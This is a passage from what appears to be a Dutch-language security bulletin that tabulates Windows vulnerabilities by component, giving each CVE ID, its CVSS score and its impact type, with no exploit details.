\n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | 